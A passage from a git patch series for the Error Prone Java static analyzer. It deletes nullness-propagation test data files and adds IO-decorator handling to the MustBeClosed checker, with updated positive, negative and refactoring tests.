triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - if ("foo" != str1) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - - String str2 = "foo"; - if (str1 != str2) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - - if (str2 != str1) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } else { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str1); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(str2); - } - - // TODO(eaftan): tests for bottom? -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java deleted file mode 100644 index 72cf75092e9..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases6.java +++ /dev/null @@ -1,196 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases6.MyEnum.ENUM_INSTANCE; - -/** - * Tests for: - * - *
    - *
  • bitwise operations - *
  • numerical operations and comparisons - *
  • plain {@code visitNode} - *
  • name shadowing - *
- */ -public class NullnessPropagationTransferCases6 { - enum MyEnum { - ENUM_INSTANCE; - } - - public void bitwiseOperations() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 | 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 & 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 ^ 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(~1); - } - - public void bitwiseOperationsAreDereferences(Integer i) { - /* - * This next part has nothing to do with bitwise operations per se. The reason that it works is - * that we recognize the implicit intValue() call as a dereference. - */ - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(i); - int unused = ~i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(i); - } - - public void numercialOperations() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 + 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 - 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 * 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 / 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 % 2); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1.0 / 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1.0 % 2); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 << 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 >> 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 >>> 2); - - int i = 1; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(+i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(-i); - } - - public void numericalOperationsAreDereferences(Integer i) { - // See bitwiseOperationsAreDereferences for some background. - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(i); - int unused = i + i; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(i); - } - - public void numercialComparisons() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 < 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 > 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 <= 2); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(1 >= 2); - } - - public void numericalComparisonsAreDereferences(Integer a, Integer b) { - // See bitwiseOperationsAreDereferences for some background. - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(a); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(b); - int unused = a + b; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(a); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(b); - } - - public void vanillaVisitNode() { - String[] a = new String[1]; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(a[0]); - } - - public void sameNameImmediatelyShadowed() { - final String s = "foo"; - - class Bar { - void method(String s) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } - } - } - - public void sameNameLaterShadowed() { - final String s = "foo"; - - class Bar { - void method() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - - String s = HasStaticFields.staticStringField; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } - } - } - - public void sameNameShadowedThenUnshadowed() { - final String s = HasStaticFields.staticStringField; - - class Bar { - void method() { - { - String s = "foo"; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(s); - } - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(s); - } - } - } - - public void nonCompileTimeConstantCapturedVariable() { - final Object nonnull = ENUM_INSTANCE; - - class Bar { - void method() { - /* - * We'd prefer for this to be non-null, but we don't run the analysis over the enclosing - * class's enclosing method, so our captured-variable handling is limited to compile-time - * constants, which include only primitives and strings: - * http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.28 - */ - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nonnull); - } - } - } - - static class HasStaticFields { - static String staticStringField; - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java deleted file mode 100644 index 031b947defe..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases7.java +++ /dev/null @@ -1,175 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnBoxed; -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessCheckerOnPrimitive; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticIntField; -import static com.google.errorprone.dataflow.nullnesspropagation.testdata.NullnessPropagationTransferCases7.HasStaticFields.staticStringField; - -/** Tests for field accesses and assignments. */ -public class NullnessPropagationTransferCases7 { - private static class MyClass { - int field; - } - - private static class MyContainerClass { - MyClass field; - } - - enum MyEnum { - ENUM_INSTANCE; - } - - static class HasStaticFields { - static String staticStringField; - static int staticIntField; - } - - private int i; - private String str; - private Object obj; - - private Integer boxedIntReturningMethod() { - return null; - } - - public void field() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(i); - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(i); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(str); - - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(obj); - } - - public void fieldQualifiedByThis() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(this.i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(this.i); - } - - public void fieldQualifiedByOtherVar() { - NullnessPropagationTransferCases7 self = this; - - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(self.i); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnBoxed(self.i); - } - - public void fieldAccessIsDereference(MyClass nullableParam) { - MyClass mc = nullableParam; - int i = mc.field; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(mc); - } - - public void staticFieldAccessIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { - String s = nullableParam.staticStringField; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticFieldAccessIsNotDereferenceNonNullReturn(MyEnum nullableParam) { - MyEnum x = nullableParam.ENUM_INSTANCE; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void fieldAssignmentIsDereference(MyClass nullableParam) { - MyClass mc = nullableParam; - mc.field = 0; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(mc); - } - - public void chainedFieldAssignmentIsDereference(MyClass nullableParam) { - MyClass mc = nullableParam; - MyContainerClass container = new MyContainerClass(); - container.field.field = 0; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container); - } - - public void staticFieldAssignmentIsNotDereferenceNullableReturn(HasStaticFields nullableParam) { - nullableParam.staticStringField = "foo"; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticFieldAssignmentIsNotDereferenceNonNullReturn(HasStaticFields nullableParam) { - nullableParam.staticIntField = 0; - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(nullableParam); - } - - public void staticFieldAccessIsNotDereferenceButPreservesExistingInformation() { - HasStaticFields container = new HasStaticFields(); - String s = container.staticStringField; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container); - } - - public void trackFieldValues() { - MyContainerClass container = new MyContainerClass(); - container.field = new MyClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container.field); - - container.field.field = 10; - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container.field); - } - - public void assignmentToFieldExpressionValue() { - MyContainerClass container = new MyContainerClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(container.field = new MyClass()); - } - - public void assignmentToPrimitiveFieldExpressionValue() { - MyClass mc = new MyClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(mc.field = 10); - } - - public void assignmentToStaticImportedFieldExpressionValue() { - // BUG: Diagnostic contains: (Null) - triggerNullnessChecker(staticStringField = null); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(staticStringField = "foo"); - } - - public void assignmentToStaticImportedPrimitiveFieldExpressionValue() { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(staticIntField = boxedIntReturningMethod()); - } - - public void nullableAssignmentToPrimitiveFieldExpressionValue() { - MyClass mc = new MyClass(); - // BUG: Diagnostic contains: (Non-null) - triggerNullnessCheckerOnPrimitive(mc.field = boxedIntReturningMethod()); - } -} diff --git a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java b/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java deleted file mode 100644 index b54a84f3d15..00000000000 --- a/core/src/test/java/com/google/errorprone/dataflow/nullnesspropagation/testdata/NullnessPropagationTransferCases8.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.dataflow.nullnesspropagation.testdata; - -import static com.google.errorprone.dataflow.nullnesspropagation.NullnessPropagationTest.triggerNullnessChecker; - -import java.io.ByteArrayOutputStream; -import java.io.OutputStream; - -/** Tests for {@code try} blocks. */ -public class NullnessPropagationTransferCases8 { - public void caughtException() { - try { - System.out.println(); - } catch (Throwable t) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(t); - - t = something(); - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(t); - } - } - - void tryWithResources() throws Exception { - try (OutputStream out = something()) { - // BUG: Diagnostic contains: (Nullable) - triggerNullnessChecker(out); - } - - try (OutputStream out = new ByteArrayOutputStream()) { - // BUG: Diagnostic contains: (Non-null) - triggerNullnessChecker(out); - } - } - - T something() { - return null; - } -} From a241d951798380942bc0dbd1ae61a18a232a77cb Mon Sep 17 00:00:00 2001 From: Chaoren Lin Date: Fri, 4 Oct 2024 19:42:17 -0700 Subject: [PATCH 05/25] Update `MustBeClosed` to handle IO decorators. Tested: TAP for global presubmit queue [] PiperOrigin-RevId: 682534861 --- .../AbstractMustBeClosedChecker.java | 38 ++ .../bugpatterns/CloseableDecoratorTypes.java | 53 +++ .../bugpatterns/MustBeClosedCheckerTest.java | 353 ++++++------------ 3 files changed, 212 insertions(+), 232 deletions(-) create mode 100644 core/src/main/java/com/google/errorprone/bugpatterns/CloseableDecoratorTypes.java diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/AbstractMustBeClosedChecker.java b/core/src/main/java/com/google/errorprone/bugpatterns/AbstractMustBeClosedChecker.java index d6ed6678c41..fc3c4585ee0 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/AbstractMustBeClosedChecker.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/AbstractMustBeClosedChecker.java @@ -16,6 +16,7 @@ package com.google.errorprone.bugpatterns; +import static com.google.errorprone.bugpatterns.CloseableDecoratorTypes.CLOSEABLE_DECORATOR_TYPES; import static com.google.errorprone.fixes.SuggestedFixes.prettyType; import static com.google.errorprone.fixes.SuggestedFixes.qualifyType; import static com.google.errorprone.matchers.Description.NO_MATCH; @@ -62,6 +63,7 @@ import com.sun.source.util.TreePath; import com.sun.source.util.TreeScanner; import com.sun.tools.javac.code.Symbol; +import com.sun.tools.javac.code.Symbol.MethodSymbol; import com.sun.tools.javac.code.Symbol.VarSymbol; import com.sun.tools.javac.code.Type; import com.sun.tools.javac.util.Position; @@ -299,6 +301,17 @@ && isSameType(type.getReturnType(), streamType, state)) { } } break; + case NEW_CLASS: + NewClassTree newClassTree = (NewClassTree) path.getLeaf(); + if (isClosingDecorator(newClassTree, prev.getLeaf(), state)) { + if (HAS_MUST_BE_CLOSED_ANNOTATION.matches(newClassTree, state)) { + // if the decorator is also annotated then it would already be enforced + return Optional.empty(); + } + // otherwise, enforce that the decorator must be closed + continue OUTER; + } + break; case VARIABLE: Symbol sym = getSymbol(path.getLeaf()); if (sym instanceof VarSymbol) { @@ -520,4 +533,29 @@ private static Optional wrapTryFinallyAroundVariableScope( .closeBraceAfter(enclosingBlock) .wrapped(); } + + /** + * Returns true if {@code decorator} is the instantiation of an {@link AutoCloseable} decorator + * type that decorates the given {@code resource} and always closes the decorated {@code resource} + * when closed. + */ + private static boolean isClosingDecorator( + NewClassTree decorator, Tree resource, VisitorState state) { + if (decorator.getArguments().isEmpty() || !decorator.getArguments().get(0).equals(resource)) { + // we assume the decorated resource is always the first argument to the decorator constructor + return false; + } + MethodSymbol constructor = getSymbol(decorator); + if (!constructor.getThrownTypes().isEmpty()) { + // resource would not be closed if the decorator constructor throws + return false; + } + Type resourceType = constructor.params().get(0).type; + Type decoratorType = constructor.owner.type; + return CLOSEABLE_DECORATOR_TYPES.keySet().stream() + .filter(key -> isSameType(resourceType, state.getTypeFromString(key), state)) + .limit(1) + .flatMap(key -> CLOSEABLE_DECORATOR_TYPES.get(key).stream()) + .anyMatch(value -> isSubtype(decoratorType, state.getTypeFromString(value), state)); + } } diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/CloseableDecoratorTypes.java b/core/src/main/java/com/google/errorprone/bugpatterns/CloseableDecoratorTypes.java new file mode 100644 index 00000000000..c88811ec5ce --- /dev/null +++ b/core/src/main/java/com/google/errorprone/bugpatterns/CloseableDecoratorTypes.java @@ -0,0 +1,53 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import com.google.common.collect.ImmutableSetMultimap; +import java.io.FilterInputStream; +import java.io.FilterOutputStream; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.io.Reader; +import java.io.Writer; + +/** + * Common {@link AutoCloseable} decorator types that wrap around {@link AutoCloseable} resources, + * which are always closed when the enclosing decorators are closed. + * + *

Each value in the map is the common supertype of some {@link AutoCloseable} decorator types, + * with the key being the common {@link AutoCloseable} type that they decorate. The decorated type + * is always assumed to be the first argument to the constructor of the decorator type. + */ +public final class CloseableDecoratorTypes { + public static final ImmutableSetMultimap CLOSEABLE_DECORATOR_TYPES = + ImmutableSetMultimap.builder() + .putAll( + InputStream.class.getName(), + FilterInputStream.class.getName(), // e.g., BufferedInputStream + InputStreamReader.class.getName()) + .putAll( + OutputStream.class.getName(), + FilterOutputStream.class.getName(), // e.g., BufferedOutputStream + OutputStreamWriter.class.getName()) + .put(Reader.class.getName(), Reader.class.getName()) // e.g., BufferedReader + .put(Writer.class.getName(), Writer.class.getName()) // e.g., BufferedWriter + .build(); + + private CloseableDecoratorTypes() {} +} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java index 741941b5e15..b1ccb228a28 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MustBeClosedCheckerTest.java @@ -33,17 +33,20 @@ public class MustBeClosedCheckerTest { private final CompilationTestHelper compilationHelper = CompilationTestHelper.newInstance(MustBeClosedChecker.class, getClass()); - @Test - public void positiveCases() { - compilationHelper - .addSourceLines( - "MustBeClosedCheckerPositiveCases.java", - """ + private static final String POSITIVE_CASES = + """ package com.google.errorprone.bugpatterns.testdata; +import static java.io.OutputStream.nullOutputStream; + import com.google.errorprone.annotations.MustBeClosed; +import java.io.ByteArrayOutputStream; +import java.io.FilterOutputStream; +import java.io.IOException; +import java.io.OutputStream; import java.util.function.Supplier; import java.util.stream.Stream; +import java.util.zip.GZIPOutputStream; @SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) class MustBeClosedCheckerPositiveCases { @@ -260,24 +263,72 @@ abstract class ChildExplicitConstructor extends Parent { } } } -}""") + + @MustBeClosed + OutputStream mustBeClosedOutputStream() { + return nullOutputStream(); + } + + void decoratorConstructorThrows() throws IOException { + // BUG: Diagnostic contains: + try (var s = new GZIPOutputStream(mustBeClosedOutputStream())) {} + } + + void notClosedByDecorator() throws IOException { + class NotFilterOutputStream extends ByteArrayOutputStream { + NotFilterOutputStream(OutputStream out) {} + } + // BUG: Diagnostic contains: + try (var s = new NotFilterOutputStream(mustBeClosedOutputStream())) {} + } + + OutputStream decoratorMustBeClosed() { + class MustBeClosedFilter extends FilterOutputStream { + @MustBeClosed + MustBeClosedFilter(OutputStream out) { + super(out); + } + } + // BUG: Diagnostic contains: + return new MustBeClosedFilter( + // handled above + mustBeClosedOutputStream()); + } +} +"""; + + @Test + public void positiveCases() { + compilationHelper + .addSourceLines("MustBeClosedCheckerPositiveCases.java", POSITIVE_CASES) .doTest(); } @Test - public void negativeCase() { + public void negativeCases() { compilationHelper .addSourceLines( "MustBeClosedCheckerNegativeCases.java", """ package com.google.errorprone.bugpatterns.testdata; +import static java.io.InputStream.nullInputStream; +import static java.io.OutputStream.nullOutputStream; +import static java.io.Reader.nullReader; +import static java.io.Writer.nullWriter; import static org.junit.Assert.fail; import static org.mockito.Mockito.doReturn; import static org.mockito.Mockito.when; import com.google.common.collect.ImmutableList; import com.google.errorprone.annotations.MustBeClosed; +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; @SuppressWarnings({"UnnecessaryCast", "LambdaToMemberReference"}) public class MustBeClosedCheckerNegativeCases { @@ -437,246 +488,49 @@ void inferredFunctionalExpressionReturningCloseable(ResourceFactory factory) { MustBeClosedAnnotatedConstructor::new) .forEach(this::consumeCloseable); } -}""") - .doTest(); - } - - @Test - public void refactoring() { - refactoringHelper - .addInputLines( - "MustBeClosedCheckerPositiveCases.java", - """ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.MustBeClosed; -import java.util.function.Supplier; -import java.util.stream.Stream; - -@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) -class MustBeClosedCheckerPositiveCases { - - class DoesNotImplementAutoCloseable { - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. - DoesNotImplementAutoCloseable() {} - - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an - // AutoCloseable. - void doesNotReturnAutoCloseable() {} - } - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - - public int method() { - return 1; - } - } - - class Foo { - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - - void sameClass() { - // BUG: Diagnostic contains: - mustBeClosedAnnotatedMethod(); - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - - void sameClass() { - // BUG: Diagnostic contains: - new MustBeClosedAnnotatedConstructor(); - } - } - - void positiveCase1() { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void positiveCase2() { - // BUG: Diagnostic contains: - Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); - } - - void positiveCase3() { - try { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } finally { - } - } - - void positiveCase4() { - try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - } - - void positiveCase5() { - // BUG: Diagnostic contains: - new MustBeClosedAnnotatedConstructor(); - } - - Closeable positiveCase6() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - - Closeable positiveCase7() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - } - - int existingDeclarationUsesVar() { - // BUG: Diagnostic contains: - var result = new Foo().mustBeClosedAnnotatedMethod(); - return 0; - } - - boolean twoCloseablesInOneExpression() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); - } - - void voidLambda() { - // Lambda has a fixless finding because no reasonable fix can be suggested. - // BUG: Diagnostic contains: - Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); - } - - void expressionLambda() { - Supplier supplier = - () -> - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void statementLambda() { - Supplier supplier = - () -> { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - }; - } - - void methodReference() { - Supplier supplier = - // TODO(b/218377318): BUG: Diagnostic contains: - new Foo()::mustBeClosedAnnotatedMethod; - } - - void anonymousClass() { - new Foo() { - @Override - public Closeable mustBeClosedAnnotatedMethod() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - }; - } - - void subexpression() { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod().method(); - } - - void ternary(boolean condition) { - // BUG: Diagnostic contains: - int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; - } - - int variableDeclaration() { - // BUG: Diagnostic contains: - int result = new Foo().mustBeClosedAnnotatedMethod().method(); - return result; - } - void tryWithResources_nonFinal() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - closeable = null; - } finally { - closeable.close(); - } - } - - void tryWithResources_noClose() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - } finally { - } + @MustBeClosed + C mustBeClosed(C c) { + return c; } - class CloseableFoo implements AutoCloseable { + void closedByDecorator() throws IOException { + try (var in = new BufferedInputStream(mustBeClosed(nullInputStream()))) {} + try (var out = new BufferedOutputStream(mustBeClosed(nullOutputStream()))) {} - @MustBeClosed - CloseableFoo() {} + try (var in = new BufferedInputStream(mustBeClosed(nullInputStream()), 1024)) {} + try (var out = new BufferedOutputStream(mustBeClosed(nullOutputStream()), 1024)) {} - // Doesn't autoclose Foo on Stream close. - Stream stream() { - return null; - } + try (var r = new InputStreamReader(mustBeClosed(nullInputStream()))) {} + try (var w = new OutputStreamWriter(mustBeClosed(nullOutputStream()))) {} - @Override - public void close() {} + try (var r = new BufferedReader(mustBeClosed(nullReader()))) {} + try (var w = new BufferedWriter(mustBeClosed(nullWriter()))) {} } - - void twrStream() { - // BUG: Diagnostic contains: - try (Stream stream = new CloseableFoo().stream()) {} +} +""") + .doTest(); } - void constructorsTransitivelyRequiredAnnotation() { - abstract class Parent implements AutoCloseable { - @MustBeClosed - Parent() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - Parent(int i) { - this(); - } - } - - // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed - abstract class ChildDefaultConstructor extends Parent {} - - abstract class ChildExplicitConstructor extends Parent { - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - ChildExplicitConstructor() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - ChildExplicitConstructor(int a) { - super(); - } - } - } -}""") + @Test + public void refactoring() { + refactoringHelper + .addInputLines("MustBeClosedCheckerPositiveCases.java", POSITIVE_CASES) .addOutputLines( "MustBeClosedCheckerPositiveCases_expected.java", """ package com.google.errorprone.bugpatterns.testdata; +import static java.io.OutputStream.nullOutputStream; + import com.google.errorprone.annotations.MustBeClosed; +import java.io.ByteArrayOutputStream; +import java.io.FilterOutputStream; +import java.io.IOException; +import java.io.OutputStream; import java.util.function.Supplier; import java.util.stream.Stream; +import java.util.zip.GZIPOutputStream; @SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) class MustBeClosedCheckerPositiveCases { @@ -915,7 +769,42 @@ abstract class ChildExplicitConstructor extends Parent { } } } -}""") + + @MustBeClosed + OutputStream mustBeClosedOutputStream() { + return nullOutputStream(); + } + + void decoratorConstructorThrows() throws IOException { + // BUG: Diagnostic contains: + try (OutputStream outputStream = mustBeClosedOutputStream(); + var s = new GZIPOutputStream(outputStream)) {} + } + + void notClosedByDecorator() throws IOException { + class NotFilterOutputStream extends ByteArrayOutputStream { + NotFilterOutputStream(OutputStream out) {} + } + // BUG: Diagnostic contains: + try (OutputStream outputStream = mustBeClosedOutputStream(); + var s = new NotFilterOutputStream(outputStream)) {} + } + + @MustBeClosed + OutputStream decoratorMustBeClosed() { + class MustBeClosedFilter extends FilterOutputStream { + @MustBeClosed + MustBeClosedFilter(OutputStream out) { + super(out); + } + } + // BUG: Diagnostic contains: + return new MustBeClosedFilter( + // handled above + mustBeClosedOutputStream()); + } +} +""") .allowBreakingChanges() // The fix is best-effort, and some variable names may clash .doTest(); } From 81ae61d2d103c5cef1bf6d29e92c2e4152a61e3c Mon Sep 17 00:00:00 2001 From: ghm Date: Mon, 7 Oct 2024 02:57:03 -0700 Subject: [PATCH 06/25] Don't flag explicit record constructors as missing overrides. Fixes external #4598. PiperOrigin-RevId: 683102994 --- .../bugpatterns/MissingOverride.java | 1 